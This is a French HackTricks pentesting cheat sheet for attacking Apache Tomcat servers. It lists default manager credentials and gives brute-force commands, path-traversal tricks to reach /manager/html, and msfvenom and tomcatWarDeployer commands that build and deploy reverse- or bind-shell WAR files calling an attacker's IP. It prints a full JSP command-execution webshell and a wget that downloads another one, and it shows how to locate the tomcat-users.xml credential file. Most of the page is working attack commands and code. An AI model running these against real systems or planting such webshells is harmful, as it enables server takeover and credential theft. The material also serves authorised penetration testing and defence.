hacktricks/network-services-pentesting/pentesting-web/tomcat.md
2023-06-03 13:10:46 +00:00

13 KiB

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Découverte

  • Il fonctionne généralement sur le port 8080
  • Erreur courante de Tomcat :

Énumération

Version

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 

Localisation des fichiers de gestionnaire

Il est intéressant de trouver où se trouvent les pages /manager et /host-manager car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque brute-force.

Énumération de noms d'utilisateur

Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :

msf> use auxiliary/scanner/http/tomcat_enum

Identifiants par défaut

Le chemin le plus intéressant de Tomcat est /manager/html, à l'intérieur de ce chemin, vous pouvez télécharger et déployer des fichiers war (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont:

  • admin:admin
  • tomcat:tomcat
  • admin:<RIEN>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Vous pouvez tester ces identifiants et plus en utilisant:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Un autre chemin intéressant de Tomcat est /manager/status, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à /manager/html.

Bruteforce

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulnérabilités

Divulgation de la trace de mot de passe

Essayez d'accéder à /auth.jsp et si vous avez beaucoup de chance, il pourrait divulguer le mot de passe dans une trace de retour.

Double encodage d'URL

Une vulnérabilité bien connue pour accéder au gestionnaire d'application __ est mod_jk dans CVE-2007-1860, qui permet la traversée de chemin à double encodage d'URL.

Pour accéder à la gestion web de Tomcat, allez à : pathTomcat/%252E%252E/manager/html

Notez que pour télécharger le webshell, vous devrez peut-être utiliser le tour de double encodage et envoyer également un cookie et/ou un jeton SSRF.
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser le tour de double encodage.

/examples

Les scripts d'exemple suivants qui accompagnent Apache Tomcat v4.x - v7.x peuvent être utilisés par les attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables à l'injection de script intersite (XSS) (à partir de ici).

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Traversée de chemin (..;/)

Dans certaines configurations vulnérables de Tomcat, vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : /..;/

Ainsi, par exemple, vous pourriez être en mesure d'accéder à la page du gestionnaire de Tomcat en accédant à : www.vulnerable.com/lalala/..;/manager/html

Une autre façon de contourner les chemins protégés en utilisant cette astuce est d'accéder à http://www.vulnerable.com/;param=value/manager/html

RCE

Enfin, si vous avez accès au gestionnaire d'application Web de Tomcat, vous pouvez télécharger et déployer un fichier .war (exécuter du code).

Limitations

Vous ne pourrez déployer un WAR que si vous avez suffisamment de privilèges (rôles : admin, manager et manager-script). Ces détails peuvent être trouvés dans tomcat-users.xml généralement défini dans /usr/share/tomcat9/etc/tomcat-users.xml (cela varie entre les versions) (voir la section POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit est un outil de test de pénétration open source qui permet aux testeurs de pénétrer dans les systèmes informatiques et de découvrir des vulnérabilités. Il est utilisé pour automatiser les tâches de test de pénétration, telles que la recherche de vulnérabilités, l'exploitation de vulnérabilités et la création de rapports sur les résultats des tests. Metasploit est largement utilisé par les professionnels de la sécurité pour tester la sécurité des systèmes informatiques et pour évaluer les risques de sécurité.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

Coquille Inverse MSFVenom

Le payload de coquille inverse MSFVenom est un type de payload qui permet à un attaquant d'obtenir un accès à distance à un système cible en exécutant une coquille inverse sur la machine cible. Ce type de payload est souvent utilisé lors de tests de pénétration pour exploiter des vulnérabilités dans les applications Web et les serveurs.

Pour créer un payload de coquille inverse MSFVenom, vous pouvez utiliser la commande suivante :

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your IP> LPORT=<your port> -f war > shell.war

Cette commande crée un fichier WAR contenant le payload de coquille inverse. Vous pouvez ensuite déployer ce fichier sur un serveur Tomcat vulnérable pour obtenir un accès à distance à la machine cible.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

Ensuite, téléchargez le fichier revshell.war et accédez-y (/revshell/)

Lier et inverser la coquille avec tomcatWarDeployer.py

Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)

Télécharger

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell inversé

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de liaison

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Utilisation de Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Méthode manuelle - Web shell

Créez index.jsp avec ce contenu:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Vous pouvez également installer ceci (permet l'upload, le téléchargement et l'exécution de commandes): http://vonloesch.de/filebrowser.html

Méthode manuelle 2

Obtenez un shell web JSP tel que celui-ci et créez un fichier WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Le nom du fichier de crédentials de Tomcat est tomcat-users.xml.

find / -name tomcat-users.xml 2>/dev/null

Autres moyens de collecter les identifiants Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Autres outils de scan Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥